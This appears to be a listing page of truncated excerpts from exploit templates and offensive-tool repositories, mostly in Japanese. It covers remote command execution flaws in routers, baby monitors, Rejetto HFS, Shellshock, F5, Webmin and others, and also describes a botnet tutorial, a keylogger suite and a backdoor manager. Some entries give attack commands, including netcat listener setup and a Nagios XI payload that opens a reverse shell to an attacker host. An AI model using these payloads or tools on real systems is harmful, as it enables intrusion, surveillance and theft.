Motorola Baby Monitors - Remote Command Execution

Motorola Baby Monitors contains multiple interface vulnerabilities could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-3577 info: name: Motorola Baby Monitors - Remote Command Execution author: gy741 severity: high...

Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution

Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page. id: CVE-2020-35713 info: name: Belkin Linksys RE6500 1.0.012.001 - Remote Command Execution author: gy741 severity:...

Symmetricom SyncServer Unauthenticated - Remote Command Execution

Microchip Technology Microsemi SyncServer S650 was discovered to contain a command injection vulnerability. id: CVE-2022-40022 info: name: Symmetricom SyncServer Unauthenticated - Remote Command Execution author: DhiyaneshDK,mielverkerken severity: critical description: | Microchip Technology...

Telesquare TLR-2005KSH - Remote Command Execution

Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through...

JEHC-BPM - Remote Code Execute

A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM = v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution. id: CVE-2025-45854...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 python -m http.server 80 使用法:...

CVE-2024-10914-Exploit

SilverX Exploit ツール 📌 説明 SilverX Exploit ツールは、Web アプリケーションの脆弱性を検出および悪用するために設計されたペネトレーションテストスクリプトです。脆弱なシステム上でリモートからコマンドを実行するためのシェル風インターフェースを提供します。 ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用です。許可なくシステムに対して不正に使用することは違法かつ非倫理的です。責任を持って使用してください。 🚀 機能 自動脆弱性検出 リモートコマンド実行 リバースシェル対応（Bash、Python、Netcat、PowerShell...

SpringCloudGatewayRCE

SpringCloudGatewayリモートコマンド実行脆弱性 Code By:Tas9er 0x00 リスク概要 本ツールは許可されたセキュリティテストにのみ使用してください。許可なく違法にサイトを攻撃することを禁止します。 0x01 ツールの使用方法 java -jar SpringCloudGatewayRCE.jar 0x02 バグ問題 また今度...

CVE-2014-6287

Rejetto HttpFileServer 2.3.x - リモートコマンド実行 CVE-2014-6287 🚨 エクスプロイトについて これは、CVE-2014-6287 として識別される Rejetto HttpFileServer HFS v2.3.x の既知の リモートコマンド実行脆弱性 に対する概念実証エクスプロイトです。 脆弱な検索機能を悪用することで、攻撃者は巧妙に細工されたペイロードを注入し、対象マシン上で任意のシステムコマンドを実行できます。 📌 詳細 エクスプロイトタイトル: Rejetto HttpFileServer 2.3.x - リモートコマンド実行...

CVE-2014-6271

Shellshock エクスプロイト CVE-2014-6271 Shellshock は実質的に BASH におけるリモートコマンド実行の脆弱性です。このスクリプトは、modcgi が有効な Apache または類似の Web 環境で脆弱性を悪用します。脆弱性は環境変数の操作にあり、環境変数はコンピュータ上のプロセスがどのように実行されるかに影響を与える動的な名前付きの値です。攻撃者は悪意のあるコードを環境変数に付加することでこれを悪用し、変数を受信するとコードが実行されます。これにより攻撃者はシステムを危険にさらす可能性があります。 脆弱性テスト用ラボ PentesterLab...

sunset-noontide-pentesting

Sunset: Noontide — 渗透测试 对 Sunset: Noontide 的专业渗透测试评估与 CTF 演练，这是一台来自 VulnHub 的故意存在漏洞的机器。 本项目记录了完整的渗透测试生命周期，包括侦察、服务枚举、漏洞研究、漏洞利用、初始访问、后渗透、权限提升、入侵证明、风险评估、MITRE ATT&CK 映射以及修复建议。 ⚠️ 免责声明： 本次评估是在授权的实验室环境中针对一台故意存在漏洞的机器进行的。本文档中记录的技术和命令仅适用于已获得明确授权的系统。 🎯 目标 识别目标主机 枚举暴露的服务 识别存在漏洞的软件及版本 研究适用的漏洞 利用存在漏洞的服务 获取初始...

botnet-hackpack

シンプルなC&Cボットネット このハックパックでは、ボットネットの基本的な特徴を実装するための基礎的なフレームワークを順を追って説明します。C言語を扱った経験があると役立つかもしれません。このチュートリアルが気に入ったら、このリポジトリにスターを付けてください！ 注意:...

CVE-2021-41730

TENDA 認証リモートコマンド実行 エクスプロイト作者: SHENGXI [email protected] ベンダー: TENDA CVE-2021-41730 - /bin/httpd ファームウェアバージョン: AC15: =USAC15V1.0BRV15.03.05.20multiTDE01.bin AC6: USAC6V1.0BRV15.03.05.16multiTD01.bin ....... ハードウェアリンク: https://www.tendacn.com/en/download/detail-3858.html 脆弱性の詳細...

CVE-2022-1388-POC

PsychoSec による CVE-2022-1388 PoC 複数のF5製品に影響を与えるCVE-2022-1388の改良版PoCです。 これは、CVE-2022-1388に対するHorizon3の概念実証（PoC）の改良版です。 https://github.com/horizon3ai/CVE-2022-1388 このバージョンには、複数の改良点に加え、リモートコマンドを実行するためのインタラクティブシェルが含まれています。 技術的分析: 脆弱性の根本原因に関するHorizon3の技術分析は、彼らのブログで確認できます。...

Pegasus-Gram

Pegasus-Gram – 高度なキーロガーおよびサイバーモニタリングスイート 🕵️‍♂️ 著者: Letda Kes dr. Sobri, S.Kom 📧 連絡先: [email protected] 🐙 GitHub: github.com/sobri3195 💰 プロジェクトを支援する: Donate via Lynk.id Pegasus-Gram は、Telegram と統合された Python...

snmp-shell

SNMP Shell Net-SNMP の extend 機能を使ったシェルシミュレーション こちらがプレビューです： 説明 対象のマシンに Net-SNMP インスタンスと "extend" 機能があり、書き込みアクセス を提供する SNMP コミュニティストリング を取得している場合、このツールを使用して SNMP RCE でコマンドを送信するプロセスを自動化できます。 このツールは自動的に、あなたのいるパス上で本物のシェルをシミュレート します。 完全にインタラクティブなシェルを必要とするコマンド（MySQL、Vim、Nano など）以外は、想像できるすべてのコマンドも使用できます...

Shelly

Shelly | Python ベースのシンプルなバックドアマネージャー weevely ベース Shelly は Python で書かれたシンプルなツールで、ウェブサイトをリモート操作するためのものです。 インストール : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 必要条件 : sudo pip install -r requirements.txt 例 : python3 shell.py -g wp-log -p tegal1337 / / / / / \ / / -...

CVE-2019-15107

CVE-2019-15107 Python エクスプロイト CVE-2019-15107 webmin 謝辞 Metasploitモジュール https://www.exploit-db.com/exploits/47230 に基づいています。 元のアドバイザリ: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL 総合利用ツール。コマンド出力の確認、一括コマンド出力、外部XMLを使用した出力なしコマンド実行などの機能をサポートします。 必要なモジュール：requests、http.client （本ツールは許可されたセキュリティテストにのみ使用し、不正使用は行わないでください。違反行為は作者とは無関係です。） コマンド出力モジュールの既知の成功バージョン：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 オプション 機能1：コマンド出力 python3 CVE-2020-14882ALL.py -u...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...